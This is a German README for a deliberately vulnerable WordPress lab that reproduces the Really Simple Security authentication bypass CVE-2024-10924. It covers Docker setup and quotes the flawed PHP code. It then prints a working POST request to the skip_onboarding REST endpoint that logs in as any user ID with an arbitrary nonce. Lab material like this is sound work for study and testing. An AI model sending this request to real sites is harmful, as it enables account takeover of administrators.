
WARNUNG: Dies ist eine angreifbare Anwendung, um den Exploit für den Authentifizierungs-Bypass in Really Simple Security < 9.1.2 (CVE-2024-10924) zu testen. Führen Sie es auf eigenes Risiko aus!
Dies ist eine verwundbare Anwendung, um den Exploit für den Really Simple Security < 9.1.2 Authentifizierungs-Bypass (CVE-2024-10924) zu testen.
Diese Anwendung enthält schwerwiegende Sicherheitslücken. Nutzung auf eigene Gefahr! Es wird empfohlen, eine gesicherte und abgeschottete Umgebung zu verwenden (z. B. eine VM mit einem aktuellen Snapshot und host-only Netzwerk). Laden Sie diese Anwendung nicht auf internetzugängliche Server hoch, da diese kompromittiert werden.
HAFTUNGSAUSSCHLUSS: Ich übernehme keine Verantwortung für die Art und Weise, wie jemand diese Anwendung nutzt. Der einzige Zweck dieser Anwendung ist es, ein Testszenario für den Exploit des Really Simple Security < 9.1.2 Authentifizierungs-Bypass (CVE-2024-10924) zu sein und sie sollte nicht böswillig verwendet werden. Wenn Ihr Server durch eine Installation dieser Anwendung kompromittiert wird, liegt dies nicht in meiner Verantwortung, sondern in der Verantwortung der Person(en), die sie hochgeladen und installiert haben.
Hier die Schritte zum Einrichten der Umgebung:
./up.sh, um die Komposition zu starten.Der Container wird vuln-wp-really-simple-security heißen.
Verwenden Sie zum Abbau der Umgebung den Befehl ./down.sh oder den Befehl ./down_and_delete.sh, um auch Images und das Datenbank-Volume zu entfernen.
Ein Blick auf die Behebung zeigt, dass in der verwundbaren Version ein Fehlerobjekt von der Funktion check_login_and_get_user() zurückgegeben wurde, falls der Login-Nonce ungültig war, ohne den gesamten Vorgang abzubrechen.
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
}
/**
* Get the user by the user ID.
*
* @var WP_User $user
*/
$user = get_user_by( 'id', $user_id );
return $user;
}
Im Aufrufer wurde jedoch keine Prüfung der Ausgabe der Funktion check_login_and_get_user() (Zeile 277) durchgeführt, sondern einfach mit der Funktion authenticate_and_redirect() (Zeile 278) fortgefahren, wobei derselbe aus der Eingabe erhaltene Wert für die Benutzer-ID verwendet wurde.
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
$parameters = new Rsssl_Request_Parameters( $request );
// As a double we check the user_id with the login nonce.
$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}
Um die Schwachstelle auszunutzen, reicht eine Anfrage wie die folgende aus.
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Content-Length: 88
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
Setzen Sie dann die zurückgegebenen Sitzungscookies entsprechend im Browser.
Die user_id muss die ID des Zielbenutzers sein, der login_nonce kann beliebig sein, da ein falscher Wert den Prozess nicht blockiert.
Ein Exploit-Skript in Python finden Sie hier.
Dieses Projekt ist unter der Unlicense lizenziert – siehe die Datei LICENSE für Details.